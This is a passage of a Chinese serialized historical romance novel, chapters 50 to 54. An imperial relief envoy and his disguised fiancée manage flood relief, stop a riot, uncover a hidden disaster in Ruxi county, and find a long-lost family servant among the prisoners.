水润红唇微张,乖顺地把酒都喝进去,两颊渐渐浮出一抹酡红色,朱颜薄醉,恰如胭脂淡沫。陆执方垂眸注视片刻,拇指揉过她唇角,吻去那点酒渍。 春风醉浸过的唇,除了软,还透着酒香。 陆执方吻得轻柔,馥梨搭在他肩上的手忽然掉了下去,脑袋一偏,搁在他胸前,双眸已经闭上了。 竟是酒意微醺下,累得睡过去了。 也该累了,今夜可陪着他走了好多里路。 他抱起怀中人往床里去,轻轻放好,拉上薄被给她盖住。少女睡得不踏实,一会儿这里挠挠,一会儿把自己衣襟扯开,薄被踢到床边去,蛾眉拧在一起。 陆执方无声看了一会儿,想来是夜行衣束手束脚,叫她睡着不舒服的缘故。平生除了家中尊长,他没伺候过人,此刻脑海飞速回转,手下动作生疏。 罗袜解开,露出一双白皙丰润的赤足。 腰封卸下,解放不盈一握的纤腰。 朴素的黑色衣衫剥去,露出底下纯白中衣,要脱下衣袖了,免不得要把她身子抬起来。 陆执方手垫入她背后,将她托起,扯开了衣袖一边,再换一边时,馥梨半醒,睁开了还惺忪的杏眸。 “世子爷做什么?” “替你宽衣。” 她得了答案,慢吞吞“哦”了一声,人便挨着他卸了力,叫陆执方更轻松地把另一边衣袖也脱下。待整套夜行衣都褪下,陆执方吁出一口气,抽过薄被再覆上去,这回可算能睡踏实了。被伺候的小娘子浑然不觉,杏眸半睁半闭,还在斜斜望他,蛾眉未展。 “怎么?还有吩咐?” “……还想擦脸。” 得寸进尺。 陆执方两指一曲,想弹她额头,又怕给她睡意弹醒了,认命地去门外给她叫热水。 翌日一早,嵇二郎已在大堂恭候。 陆执方同荆芥、黄柏下来,便见桌上摆了早膳。 “陆大人同行的长随小哥,怎么不见了人影?” “路上撞了些风,头疼,让她睡晚一些再起。” 陆执方答得随意,拿起竹筷,却是寻了个空碟子把早膳都夹出一部分,递给黄柏,“给送上楼去。” “陆大人待身边仆役都如此亲厚吗?” 嵇二郎话音刚落,黄柏的早膳还未送上楼,楼梯就传来噔噔噔的脚步声。睡晚了的小娘子作小厮打扮,软皮小帽戴得歪斜,露出鬓边几缕碎发,急匆匆地朝他们的位置走来,眸中有睡过了时辰的懊恼。 陆执方朝嵇二郎露了一个心照不宣的笑。 “也并非人人如此。” 50-55 第51章 “就说哄不哄得好吧。”…… 陆执方看过定南最早递送到朝堂的奏报。 只有短短一句:“大雨,昼夜不绝二十日,河决水出,流千余家。” 他也曾经在劝阻馥梨不要随行时,给她描述,而今在嵇二郎带领下来到翁沙县,仍是对眼前灾后余生的情景,感到良久无言的震撼。 严谨简洁的奏报,落为眼前景,是乱树倒卧,被连根拔起,是泥沙淤积,处处污水横流。 是放眼可见蓬头赤脚,盎中无斗米,架上无悬衣的翁沙县老弱妇孺。 朝廷赈灾队伍早他一两日抵达。 都水司郎中刘健已去往决堤处,指挥民壮修复。 县衙都被冲了,倒塌一半没重建。度支司员外郎徐海潮在临时支起来的县衙办公处忙得焦头烂额,见陆执方带着人过来,大大松了一口气。 “小陆大人,您可算来了啊。外头等着领米领救济的百姓看见了?” 他刷拉地扯过了一叠记录,是经折装的样式,另一头掉落在地面,给他拉出了等身高的。 馥梨一眼瞥去,见上头密密麻麻全是蝇头小字。 陆执方拉过开头第一页,“徐度支,这是翁沙县各户的受灾情况详情?” “对对,经下官统计,翁沙县一千七百多户,有人丁的剩下一千零五十八户。朝廷拨过来的赈灾银,您是心里有数的,家家户户都均等分派的话,每个人都领不到多少。下官是想按走访情况,给他们划分三等,按极贫、次贫和稍贫,分给不同额的米粮救济。陆大人以为如何?” 徐海潮看着他,最终决定权还在陆执方。 陆执方来县衙办公处前,已在翁沙县多户走访,知道徐海潮所言非虚。他环顾一圈,这临时县衙简陋,竟找不出多一把椅子,正要就这么站着说,眼前忽而出现一张圆凳。 馥梨利索地擦擦上头灰尘,“世子爷坐。”说罢又跑去了茶棚。竟似回到了在静思阁当差的时候。 他失笑片刻,坐下与徐海潮细说。 “徐度支按极贫、次贫和稍贫划分的想法极好,何不将救济之物,再相应划分?” “小陆大人的意思是?” “极贫赈米、次贫赈钱、稍贫赈贷。”陆执方提笔在纸面写了一个数,正是朝廷赈灾银的总额,“如此,剩下官钱可用于死民葬瘗、遗弃孤儿收养等。” “此法可行,”徐海潮眼前一亮,脑中算盘飞快估出一个数,“那小陆大人觉得该如何划分?下官以为……”他说得口干舌燥,摸向早空了的茶杯,不知何时添了温茶,抬眼一看,原是陆执方着的小厮。 小厮眉眼清秀,双手抱着个水囊,此刻正全神贯注地听他们商议。陆执方也不避讳,就这么同他商讨出一套执行细则。 “接下来就是每户贫困情况划定的问题。这一千多户,我这两日只来得及带衙役核验其中三百多户的,剩下的还有许多。”徐海潮连连感叹,即便能把百姓都召集过来询问,有些村落屋舍的情况,还是得实地去看,他两条腿都跑瘦了许多。 “我带的人有腿脚利索的,徐度支还是留下来核定银钱账目更好。”陆执方话落,将随行人员喊来,一一分配任务。这些大多数是镇国公府来的护卫,少数是朝堂随行的小吏。 他连黄柏都安排了,“这里有荆芥守着就行。” 馥梨欲言又止。 陆执方睨她一眼:“有话说话。” 馥梨想了想道:“世子爷,我的腿脚也挺利索的,我还会写字。有的护院不识字,只能靠脑袋记,回头还得着小吏登记,我不用。” 徐海潮听了笑:“小陆大人,难得小伙子有这份心,你就准了吧。” 这可不是小伙子,是他的小姑娘,陆执方无声暗叹,“你跟着黄柏去,有个照应。” “我知道啦。”馥梨脚步轻快地跑开了。 这一日分外忙碌,等再见到面,已是繁星满天的时刻。馥梨拖着两条酸软的腿回到县衙安排的住处。 她作为小厮和陆执方挤一屋,还是蹭了他这个赈灾钦差的光,住的是乡绅建在小高坡上的院子。 陆执方还在挑灯写兴工助赈的公文,听见她拖拖拉拉的脚步声,头也没回,“热水在后屋小净房,你趁这会儿没人,先去擦洗了。” 馥梨盯着他纸面看了一会儿便去了。洗漱完回来,陆执方还在伏案办公。 “世子爷,要我帮忙研墨吗?” “你这腿要是还站得动,还不够累,明日我让黄柏带你多跑一百户。” 馥梨一噎,躺回了床上,睡到后半夜醒了,才觉得有微凉的怀抱拢过来。陆执方身上有洁净水汽,衣衫之下。她感受到的身躯却不甚温热。 馥梨伸手摸到他手臂,“洗了凉水澡?” “厨房没人了,凉水快。”陆执方声音懒懒的,罕见透出了些疲惫。馥梨调整了个舒服的姿势,抱着他背后拍了拍,听得耳侧一声暗哑的轻笑。 “拿我当小孩儿哄。” “就说哄不哄得好吧。” 陆执方没说话,将她抱得紧了些。 清亮月色透过半掩窗扉,照亮床头一隅。 馥梨凝眸望去,青年郎君的入鬓长眉紧锁,人已宽衣睡下,心还留在案头。 她手指抚过去,摸摸眉心川字纹,“白日里同徐大人商议得挺好的呀。我即便不懂政务,作为普通百姓,也觉得这些赈灾的法子既实际灵活,又解了燃眉之急。” “不是赈灾细则的问题,是灾区划分。” 陆执方沉吟片刻,“徐海潮年轻时就是从翁沙县考出来的举子。白日里我问过他,他说如溪县的地势和距离,理应是受灾第二严重的县。他少时念书,定南也有过严重洪涝,如溪县当时死了快半个县的人。或许就是这样,有了警惕,在暴雨前疏散得及时。” “世子爷觉得蹊跷?”馥梨也记得陶州城破庙里,那些孩子说的话,与嵇二郎的南辕北辙。 “耳听为虚,眼见为实。” “可嵇二郎还在这里,白日里我跑去走访就碰到他了。他会拦着不让我们去吗?” “不是我们,是我,我去。” 嵇二郎若知道了,未必会明面上阻拦,暗地里会做什么就说不好了。陆执方捉下她在他眉心乱挠的手,“把你一人留在这里打掩护,怕吗?” 小娘子在昏暗里默然半晌,软绵绵地应了一句:“不怕的。” 嵇二郎住在另一个乡绅的院子里。 他在翁沙县闲逛了一日,之后便好好待着休整,陆执方和身边人的行程,自然有他的人来禀告。 “今日上午,陆钦差和徐度支在临时县衙商议赈灾对策,下午去了收留孤儿的小善堂和养病坊。” “今日上午,陆钦差在乡间宣讲兴工振贷和种牛租借的细则,下午还是去了小善堂和养病坊。” “今日一整日都在临时住处里闭门不出。” 嵇二郎微微意外,“一整日?” 瞧着不像是个懈怠的官儿。 属下禀告的声音瓮声瓮气,像是得病前兆,“昨日陆钦差在乡间宣讲时,就有几分咳嗽和声音嘶哑,下午又去了养病坊,那里收留的都是得病妇孺老弱。今日,小的去县衙打听,说是染急病发了高热,起不来了。”话毕,自己掩着口鼻,打了个大大的喷嚏。 洪涝灾害,人畜尸体来不及收敛,就容易散播病疫。如溪县的县令,就是灾后病死的。 嵇二郎用衣袖捂着口鼻,让那下属退远了些。 趁着天色未完全黑下去,他翻出面纱,往陆执方落脚的院子去。 陆执方的屋门半掩着。 嵇二郎还未靠近,就从门缝处闻到了一股浓重的药味。他抬手敲门,“陆大人,我是嵇二。” 陆执方声音有些飘忽,“嵇二郎稍候。” “嵇二公子。” 他身边那女扮男装的小厮来开门了,容色有些疲倦,连软皮小帽都未戴好,毛茸茸的额头落下几缕碎发,贴在鹅蛋脸颊,看得出几分女装时的楚楚动人。 嵇二郎目光掠过,微微惊艳,转而去看陆执方。青年披散头发,穿着素绢中衣,躺坐在床上,床头凳子上是一碗药并两粒蜜饯果子。县里这个光景,还能寻到蜜饯果子,果真是养尊处优惯了。 嵇二郎啼笑皆非,看向陆执方一脸病容,“陆大人药都快放凉了,怎还不喝?” 陆执方有气无力给他一个字:“苦。” “世子爷,苦口良药。”馥梨跟着劝了一句,将碗捧到他面前,药勺喂到了嘴边。 陆执方就着喝了几口,对上嵇二郎微妙的目光,咳了一声,“这位是我未婚妻,叫嵇二郎见笑了。” 这话出乎嵇二郎意料,他还以为顶多就是个通房小妾,“原来是世子未婚妻,失敬了。” “迟姑娘是我老师的义女,这次是偷偷摸摸跟我跑出来的,为着声誉着想,就叫她女扮男装跟在身边了,还望嵇二郎替我保密。” “这是当然。” 嵇二郎看了一会儿郎情妾意,甚觉无趣,回到后提笔写了一封书信,让属下快马加鞭送去给父亲。 属下拿了信,骑上马,融入了深深夜色中。 同一天幕下,亦有人换上一身夜行衣,预备轻装快马而行,赶往几十里外的如溪县。 “真的不怕?”陆执方回头问。 馥梨眸光清亮,笑意湛湛,“你都把荆芥小哥留给我了,还怕什么?”她是有些怕的,但更怕不远之外有比翁沙县更水深火热的地方,被刻意掩埋。 陆执方离去的第一日,相安无事,继续称病休养。第二日,大清早,她被一阵拍门声吵醒了。 徐海潮的声音慌乱着急:“小陆大人,小陆大人!你快起来!” 馥梨披上衣服坐起,还未开门,“世子爷还病着,徐大人何事?” “有一批本来被征调去修筑河堤的民壮,正围在临时县衙那里闹事,说赈灾钦差不公,放任如溪县百姓饿死,场面乱得很,再不控制恐怕要成民变了。” 第52章 “小梨儿辛苦,今日我当…… 馥梨仓促地整理了装束,跟着徐海潮往临时县衙赶去,还未到大门,已看见陌生民壮如潮水般,围拢在门口,人人面色憔悴,眼神疲惫而尖锐。 有人声嘶力竭地大喊:“我们整日在河堤上卖力气,为的就是家中老小能早日领到救济。瓮沙县灾情严重,那凭什么安浚县、义宁县都能领到物资?” “对啊,凭什么如溪县的却没有?” “家里日子实在过不下去了!” “我们要见赈灾钦差!” 众人纷纷附和,嘈杂声一片。 县尉和嵇二郎领着稀稀拉拉的七八衙差,勉强挡在门口,“诸位乡亲,钦差大人一路奔波劳累,为赈灾亲力亲为,如今已忙病了,实在无法见大家。” 这些话听在翁沙县百姓耳朵里,是真话,听到如溪县的民壮耳朵里,无异于火上浇油。 人群中不知是谁激动地叫嚷起来:“钦差当真是个好的,怎么管这头不管那头?咱们如溪县人少地贫,就该活活饿死吗?不如直接抢粮仓,分粮食,好过坐以待毙!”这一喊,人群瞬间躁动起来。 外围关注异动的本地民众面色大变。 “赈灾粮食和银钱怎么分配,都是官老爷们商定好的,你们抢了去,叫旁人怎么活?” “我们瓮沙县也靠着这点粮食熬过难关呢!” “我呸!你们得了接济这些天,早就有存粮了,如溪县病的病,死的死,都快成人间炼狱了。” 双方剑拔弩张,不知是谁先动了手,推搡起来。 馥梨愣住,徐海潮拉上她就想走:“不行,任由他们这么闹下去,场面就一发不可收拾了。小陆大人就是病得再厉害,架着也要架起来,我们回去!” 馥梨挣脱不开。 蓦地,一只手伸来,将徐海潮的手拎开。 “徐大人,得罪了!” 荆芥朝徐海潮一抱拳。 馥梨看向荆芥,“荆芥小哥,我想进去里面。”人群里三层外三层,如溪县和瓮沙县,加上嵇二郎指挥的拉偏架的衙差,混乱至极,她根本挤不进去。 荆芥拧着眉头打量地形,伸手一指门口大树。 “你去那树下稍候。”他指完了正要去找麻绳,又听得馥梨脆生生的嗓子,“再找个铜锣来。” “成!” 临时县衙的门口喧嚣不止。 比人群嘈杂更具有穿透力的铜锣声急促敲响,哐哐哐——似洪钟大吕,震鸣出金属的锐利与高亢,叫忙得不可开交的众人一滞,与此同时,门口大树上,一双人影拽着麻绳飞荡而下,引得众人视线聚焦。 馥梨稳稳地落地,手中铜锣敲响最后一声,哐——“诸位乡亲,陆钦差没有忽视如溪县的灾情。” 她声音小,竭力一字一句说得清晰,话音刚落,荆芥就声如洪钟地复述,带着练武之人特有的雄浑劲道。荆芥的声音叫里三层外三层的民众都听见了。 翁沙县的人松一口气,如溪县的人将信将疑。 “陆钦差已经夤夜赶去如溪县。考虑到翁沙县有争抢混乱,担忧民心不稳,才未向外公布行程。” “眼下已到县里,开始组织赈灾了。” “诸位修筑上游堤坝,听闻如溪县前阵子等不到救济,便急着赶来问询,何不亲自回去看一眼?” …… 几句话传达下去,最先动手的几人犹豫,有人默默放下了拿来当武器的农具,有人对上了嵇二郎的眼神,嗤地冷笑了一声,“我看着就是缓兵之计。” “你们就是想骗我们回去,一来一回,路上耽搁的时间足够搬来救兵了,如溪县该有的钱粮还是等不到!都愣着干什么?动手啊!先抢了粮仓再说!” 最里层的几人大力推搡。 荆芥将馥梨牢牢护在身后,馥梨却感觉头上戴的软皮小帽一松,发髻被人扯了一下,青丝散落颊边。 她本来出门急,就没有化妆遮掩。 “是个女子?你连县衙的人都不是,还骗我们说钦差去了我们县里,这不是胡说八道吗!” “诸位!” “诸位停一停。” “这位姑娘是陆钦差的未婚妻,并不是什么闲杂人等。”嵇二郎勒令衙役朝着馥梨的方向围拢,“还不快保护迟姑娘,免得受了冲撞!” 他几句话,让衙差们有几人分过来,防线霎时变得薄弱,后面的人看前人带头,露出跃跃欲试之色。 人群渐渐围拢缩紧。 馥梨在急中想起了一些名字,扯了扯荆芥。 “各位乡亲,当真是如溪县来的?” “还能有假吗?” “有平乐村的吗?” 荆芥大声复述,挤在人群中更瘦弱些的男人高声回答,“我就是平乐村来的!” “小哥上前说话。” “平乐村的康二家中有老娘卧病在床,洪水来时没逃掉,但他孩子在村口私塾念书,逃过一劫。” “王小五是私塾里年纪最小的,家人去镇上工,平时就和爷爷相依为命。”馥梨等他来到跟前,将小破庙那晚听到的见闻尽数说了,“可是这样?” 瘦弱男人微愣,“是这样,可你怎么知道?” “陆钦差没有忽略如溪县,他一直在关注如溪县的灾情,这些便是他探查时得知的情况。”馥梨目光诚挚,看向眼前只为家人能有一口粮而闹事的民壮,“耳听为虚,眼见为实。我和诸位一起去如溪县看,要是我所言有半句假话,你们大可将我绑了。” 方才嵇二郎喊的那一句,他们都听清楚了。 这是钦差未婚妻,她在如溪县,钦差不可能放任不管的。“走,回县里看看,你跟着我们回去!” 领头人松了口,有个别意见相左的同伴,被多数人的意见制服了。剑拔弩张的氛围一松,馥梨在荆芥围护下,跟着如溪县的民壮往外走。 行到快天黑,才到了如溪县的地界。 乡道上,有大人带着小孩子,共骑一匹脏兮兮的骡子,朝着他们这行人的方向来。小孩子奶声奶气,远远就喊了一声“赵大叔!赵大叔!我们正想去河堤里找你们呢,年轻的官老爷带了好多米粮医药来,还把安浚县的大夫调过来了。” 众人听闻,皆露出震惊之色,接着便是大喜,也顾不上盯梢馥梨了,纷纷加快脚步,往家里跑去。 馥梨送了一口气,低头一看衣摆,都快被她攥得变形了。她和陆执方约好的,若如溪县无事,他翌日就会赶回。若没有赶回,就说明情况不妙。 游介然单独加给陆执方的私人物资,不在朝廷的赈灾物资名册里,一直作为陆执方的随行物件,调度无需经过县衙登记,也就落不到嵇二郎的视线里。 她一脚深一脚浅地踏入如溪县的村道里。 一路经过了新搭建的粥棚和医馆,在暮色中早早点起了灯,棚前人影重重,飘出温热浅淡的米香。 最后在平乐村简陋的小木屋,她找到了陆执方。屋内一览无余,一张矮榻,一张长桌,桌面堆着凌乱的账册文书,显然是办公和住处混用的地方。 连个临时公务处都没有。 陆执方正在看信,察觉门口光线被遮挡,抬眸就看见馥梨有几分狼狈站在门外,荆芥跟在后头。 他眸中闪过惊讶,荆芥刚要解释发生了什么事,就见陆执方抬了抬下颔,示意他守在门外。 屋门阖上,只剩小窗透着落日余晖。 陆执方将她拉到窗边打量,小娘子披头散发,嘴唇干裂,软布鞋上都是泥灰,杏眸中神采莹亮未减。 她像是有很多话想说,动了动唇,问出来却是,“有水吗?我渴了。” “有。”陆执方从桌底给她翻出个水囊。 馥梨仰头喝下,灌得有些急,清水流过唇角,叫陆执方用衣袖拭去。她解了渴,吁出一口气,将那些民壮闹事的经过,给他慢慢说来。 “世子爷,我就是这么跟他们过来了。” 她定定看他,好像眼巴巴等一句夸奖的小孩儿。 陆执方被那眼神撞得心尖发软。 他默然半晌,俯身抱起她,到矮榻上坐好,给她脱了那沾满泥灰的软布鞋。 “小梨儿辛苦,今日我当小厮。” “只当一日吗?” “不够两日?” “我要三日。” 馥梨笑。 她想到了之前民壮闹事时,嵇二郎的表现,笑意淡了下去,“之前我们猜测,嵇二郎隐瞒如溪县的灾情,可能是他爹收受了安浚县、义宁县那些豪强大族与乡绅的银钱,要为他们先行赈灾放贷,减免田地赋税和徭役,可是我看嵇二郎分明想把事情闹大?” 陆执方并不意外,沉吟了片刻道: “安浚县、义宁县的灾银灾粮,户部同僚已有人去发,实惠落到了手里,不能收回去,翁沙县再闹出民变,便成了我的错处,叫他们拿捏的一个把柄。” 馥梨听了一愣。 陆执将她碎发仔细拢到耳后,“难关既过,先不想了,给你说点开心的。” “还能有什么开心的?” 馥梨想不出来。 陆执方慢慢道:“你阿兄的踪迹,找到了。” “当真?阿兄他在哪里?” “皇城。” 陆执方将信塞到她手里,“你阿兄足智多谋,在赤乌河一战中,佯装被岷象国俘虏,出卖我军情报,实则潜伏进敌营一月余,斩杀了敌军主将,又火烧粮仓。他趁乱逃脱了,岷象粮草不继,损失惨重,没僵持多久就退兵了。” “那阿兄他,他有没有受伤啊?” “不止没有受伤,还加官进爵。陛下大为赞赏,要封你阿兄做靖安侯。这封信在我们出发时,就已经在襄州写好,此刻,你阿兄应该早就完成册封了。” 第53章 欺负得太过了,半天不应…… 深夜时分,屋内一灯如豆。 馥梨还呆呆地坐着,手里捏着亲眼看过的信。 温热湿润的水汽覆盖上来,是陆执方打来热水,给她用一方帕子净面。青年的手掌宽大,在她小脸上囫囵地揉过一遍,又捞起她的手掌,一根根手指擦。 馥梨看了一会儿,淡笑起来。 “怎么?” “世子爷真的不会伺候人。” “有的是时间慢慢学。” 陆执方挑挑眉,手帕丢回水盆里打湿了又拧干,再回来瞧见她垂眸,眼睫湿润,蒙着浅浅雾气,“是我力道太重还是怎么着,至于让你这么难受?” 馥梨摇头,朝他伸出了双手。 陆执方俯身,将她抱入怀里。 “我没想过还能再见到阿兄,家里出事之后这么久了,我一直以为这世上只有我一人了。”小娘子的声音闷闷的。巨大喜悦过后,委屈才后知后觉涌来。 陆执方静了一会儿,摸摸她头发。 “待你这么好,弄半天,我不算数?” “世子爷算半个。” “怎么只得算半个?” 馥梨掀起眼皮看他,细细声道:“你都不跟我一个姓。”她委屈来得快,去得也快,小小情绪说出来就散了,往后的生活,她还有更大的期盼。 馥梨吸吸鼻子,拉陆执方衣袖,“水快要凉了,世子爷快些帮我端过来。” 她想把脚也洗一洗。 陆执方斜乜她,不紧不慢“喳”了一声。 馥梨简单擦洗后,困意上涌,没等出屋去倒水的陆执方回来,自己身子一歪,倒在矮榻上睡着了。 春光消融,暑热渐起。 矮榻上铺了藤簟,她一睡下去觉得凉凉的,睡到后半夜却觉得冷,人止不住地打寒颤。到最后,头发都湿了,一缕缕贴在颈后,后背也潮湿了一片,迷迷糊糊地,听见陆执方的声音在喊她。 “馥梨,醒醒。” “唔……” “你起高热了,我带你去找大夫。” “……不、不用。” 馥梨迟缓了一会儿才拉住他,声音低得像碎碎念,“已经发汗出来了,无事。”她跟着沈霜月看诊那段日子,也懂得了一些基础医理。 如溪县得疫病的人多,陆执方来之前服了抗风寒病症的药,她被人群架着过来没做准备,情绪在大惊大喜之下,最易风邪入侵,也是发散出来就好了。 “我想喝热茶,再换一身干净衣裳。” “看大夫,这更稳妥。” 陆执方不同意,手被她拉起,贴到她额头上,掌下皮肤润泽微凉,的确是热褪之症。馥梨柔声道:“要是明日醒来还不舒服,再去看大夫也不迟。” 陆执方点灯,看清楚她精神尚可,才去屋外打水煮茶。再走回屋里时,馥梨已将汗湿衣衫换下,裹着薄被,乌发蓬乱下,一张小脸似玉莹白。 她刚换下的中衣凌乱堆放在矮榻一角,烟紫色的小衣卷在里头,几根飘带散出来。 陆执方瞥了一眼,笼统地一起拿开,给她端来热茶,眼看她要抖抖身上被子,伸出光裸的手来拿。 他咳一声,“别乱动,就这么喝。” 茶碗喂到她唇边倾斜,一点点,馥梨嫌烫,抿了一小口,红润舌尖在齿关若隐若现。 “兑一些凉水呀。” “兑过了。” “那就劳烦世子爷再兑一些。” 她话里夹着小小的软刺,刺的是他白日里讲过要当小厮的戏言。陆执方失笑,摸摸鼻尖:“好。” 茶水终于勾兑得温凉适宜。 馥梨润了嗓子,解了渴:“要换衣服。” 她在这里没有换洗衣衫。 陆执方给她找了一身自己的干净中衣,“只有这件了。”他背过身去,听见身后窸窸窣窣,视线落在墙面,灯火映出少女玲珑身段,勾出曼妙虚影。 他喉头滚了一下,连眼睛都闭上。 “好了。”馥梨轻轻提醒。 陆执方刻意没看她,吹灭了灯,躺回榻上。 小娘子又慢慢钻回了他怀里,“世子爷。” “嗯?” “差事当得挺好。” 不知是昏暗里没找准,还是人虚软没力气,馥梨软软的唇亲在了他下颔底,差一点就到了喉头。 陆执方哽了哽,偏偏拿一个病着的人无可奈何,“谁教你这么亲的?” “嫌弃,那便不亲了。” 馥梨不管他,舒舒服服地重新睡过去了。 这一觉沉眠,无梦无扰,馥梨睁眼神清气爽,却对上了面前眸色幽幽,眼底泛青的世子爷。 她好像还枕着陆执方的手臂。 “醒了?” “嗯。” “还有哪儿不舒服吗?” “没、没有,不用去瞧大夫了。” 她抬了抬身子,叫陆执方抽出手臂,略带讨好地看着他笑。如溪县条件简陋,陆执方下颔冒出了一点凑近才看见的胡茬,馥梨拿手指头碰碰,“我等会儿问问,给世子爷借一把刮胡刀。” 陆执方轻哼了一声。 “难道不要?” “比起刮胡子,还有更急的。” “更急的什么?” 馥梨睁着乌润的杏眼疑惑。 陆执方结结实实地吻过来,舌尖勾住,被压麻了那条手臂恢复知觉,揽过她腰肢,紧紧压向了自己。 馥梨“唔”了一声。 青年另一手贴着她衣衫下摆,灵活地钻进去,似冬日暖烘烘的手炉,毫无阻隔地贴在她腰侧软肉上。 她吓得一缩,却被扣得更紧,眼眸快被逼出了一层水光,昨夜发汗多,她连小衣都脱了,陆执方的手再往上,就能摸到她一颗心跳得激越的地方。 陆执方的手左右来回,还是停在了那里。 摩挲却未停,长年累月握着缰绳的指腹磨出茧子,一寸寸激起她的鸡皮疙瘩。他唇上的吻更加深,馥梨最后一点力气都像是被他抽走,膝盖无力并拢。 “现在知道怕了?” 他一字一句,贴在她耳廓。 像在呢喃,又像在警告。 馥梨睁开了雾蒙蒙,似润着春水的眼,整张脸在浅淡晨曦里满是绯霞色。陆执方亲了一下她眼皮,作乱的手恋恋不舍地拿开,去牵她的手。 她松一口气,还未缓过来片刻,心跳又乱。 手掌被陆执方引着,触到他结实温热的胸膛,清薄肌理裹着属于青年的蓬勃身躯,顺着挑开的衣襟,从胸骨中缝滑下,到越来越热意滚烫的地方。 馥梨紧紧闭着眼。 陆执方呼吸几度乱了,唇在她脸颊轻轻触碰,有时是鼓励,有时是难耐的催促。 等到晨曦变得更明亮了些,他呼吸才定下来。 “小梨儿。” “小梨儿?” “我去监督米粮发放,早食叫个婶子给你送。” “……” 欺负得太过了,人裹在薄被里,半天不应他。 陆执方看着那拢成一团的身影,大致估摸出脑袋的位置,拍了拍,“你应我一声,我立刻走。” 馥梨硬邦邦道:“一”。 屋门推开又阖上。 馥梨从被子里探出头来,陆执方把桌子上全部的公文信件都收走了,桌上只放洗漱用具和清水,旁边是一条刚刚给她擦过手的粗布帕子。 她用手背凉了凉自己脸颊,换上昨日那套小厮的衣衫,没多久,就有个声音和蔼的婶子来敲门。 “迟姑娘,您的早膳。” “谢谢婶子。” 说是早膳,只是简单的稀粥和咸菜。馥梨趁着人还没走,同她打听了村里哪里还要人帮忙。 吴婶想也没想道:“医馆那头,陆大人从隔壁县调来了好些大夫,懂得包扎和抓药的学徒不够。” 馥梨填饱了肚子,就找到了临时医馆说明来意。 医馆正是缺人时,老大夫盯着她抓了几单药,虽然动作生疏有些慢,药材选择却没错。 馥梨这边再开一条队伍,医馆挤得乱糟糟的人就少了许多,忽而看见几个衙差,押着一批穿囚衣的人来就医。本来在排队的百姓避让了一些,议论纷纷。 “囚犯怎么也跑出来了?” “县里监牢淹了呀,老知县说囚犯的命也是命,不能不管,就把人都解放出来了。” 提起因为染病去世的老知县,百姓沉默下去。 馥梨在人群议论中,无意间向那批犯人看了一眼,同其中一人目光对上了。那人形销骨立,须发皆乱,左脸颊有一块淡红色的胎记。 馥梨一愣,脱口而出:“五叔!” 被她叫五叔的男人一滞,移开视线,嘴里突然间吱哇乱叫,左冲右撞,随即被同行衙差扣押下,“还看不看病了?官老爷好心,你们别不识好歹!” 其余囚犯离得远了些,“又犯病了!” “隔三差五就要疯一回!” 这一回,疯劲厉害得吓人,两个衙差都制服不住,一扭身就撞开了人群往外跑。衙差忙追去,剩余衙差怕出意外,把病情较轻的囚犯往临时看押处赶。 晌午时候,陆执方带着饭食回来,看见的是有些失魂落魄的馥梨,呆呆地坐在小凳子上。 他手指在她眼前晃了一下,“不饿?” 馥梨一下抓住了他的手指,“世子爷!早上医馆那里跑了个囚犯,你知道吗?人抓到了吗?” “衙役报告了,但没抓到。” 陆执方话落,她眸光肉眼可见地黯淡下去。 “为何关心那个囚犯?” 陆执方把汤勺塞到她手里,“边吃边讲。” 馥梨心不在焉地勺了一下比早膳更稠一些的粥,“他长得很像五叔,一个跟着我爹行商出海的人。”要是能找到五叔,说不定爹爹欠下巨额债务的事情,以及出海遇到船难的细节,就都清楚了。 陆执方听完了她的话,稍一思索,找来纸笔。 “你将五叔画像画下来,我找人同那些囚犯对比打探,一抓到人,立刻通知你。” 馥梨立马要去拿笔,被陆执方一下子摁住。 “世子爷?” “先吃饭。” 陆执方推来了那碗特地加了肉末的稀粥。 第54章 他是我最信任的人了。 临时羁押犯人的地方在地面。 不如地牢阴森,甚至还有些闷热。囚犯们或站或坐,百无聊赖,面上有一种监牢关押惯有的木然。 陆执方手持馥梨画的画像,将狱卒叫来问询: “可认得此人?何时关押?罪名是什么?” 狱卒知道今日又跑了一个囚犯,细细回忆道:“这人名叫王元五,大概是去年六七月偷盗入狱的,一直疯疯癫癫,嘴里时常嘟囔着莫名其妙的话。” “偷盗何物?” “小的也记不清了。” 衙门放卷宗的地方被水淹,很多记录丢失,就连上一任县令都染病去世,主簿见灾情严重直接跑了。 陆执方可询问的人,剩下与王元五同监牢的犯人,得到的答案与狱卒所言大同小异。 怪模怪样,疯言疯语,鲜少与人交谈。 馥梨一路听着,同陆执方离开了羁押地。 “世子爷,从去年七八月关到现在的偷盗罪,是偷了很贵重的东西吗?” “对,所窃物品价值高,或者被偷窃失主是官员,否则鞭笞加赔偿失主财物,就能免除牢狱。” 馥梨听得眉头拧起来。 “怎么了?” “五叔不像是会偷盗的人。” 她看着地上被日头晒出的影子,捏着衣袖,慢慢道:“我小时候,去家里的香药铺子玩,不知道有一款香丸折价出售,按原价收了客人银钱,五叔抱着我追了客人大半条街,把差价还上了。爹爹也正是觉得五叔诚实可靠,才每次出海都带着他。” 上一次出海,正是去年七月。 馥梨停下来,同陆执方对视。 陆执方正想说什么,目光忽而越过她,看向了她身后,馥梨转头,就见曾经在医馆看到的那两个衙差羁押着踉踉跄跄的男人,往他们这边来,带着一丝欣喜:“陆大人,逃犯可算抓到了!” 馥梨看着他越来越近的面容确定,真的是五叔。 五叔头发凌乱如杂草,眼神游离不定,触及自己时,嘴唇微微颤抖,像是有话要说。 一句高声通报,自前头的矮墙外横插进来——“定南知府到!” 五叔像是受到了极大的惊吓,突然冲向墙壁,用力撞去,同时嘴里胡言乱语起来。“为官不仁,鬼魅缠身!鬼魅缠身,天谴将至!天谴将至哈、哈!” 对如溪县的衙差来说,定南知府嵇锐进就是比陆执方还大的官儿,顶天般的存在。 毕竟赈灾钦差事情办完,不知哪日就走了,嵇锐进稳稳坐在这官位上可是十多年了。 方才急着将功补过的衙差猛地拉起了五叔,一边训斥,一边将他往羁押地赶:“胡言乱语什么呢?把嘴闭上!赶紧回去好好待着!” 陆执方淡声吩咐:“单独关起来。” 衙差应道:“卑职得令。” 馥梨亦步亦趋,走到五叔身侧,小小声问:“你真的不认得我吗?五叔?”五叔只是眼神空洞地望着前方,仿佛根本没听见。 陆执方停在原地,整了整衣袖。 矮墙那一头,绕出来一个步履从容的中年男子,圆眼长脸,蓄着小小一撮山羊胡,官服官帽穿戴齐整,身后跟着一群定南府官员,还有嵇二郎。 嵇锐进来得架势大,看见了陆执方正正站在门后,先扶正了自己的官帽,语气谦和地朝他一拱手:“想来这位就是钦差陆大人。” 陆执方颔首:“嵇大人。” 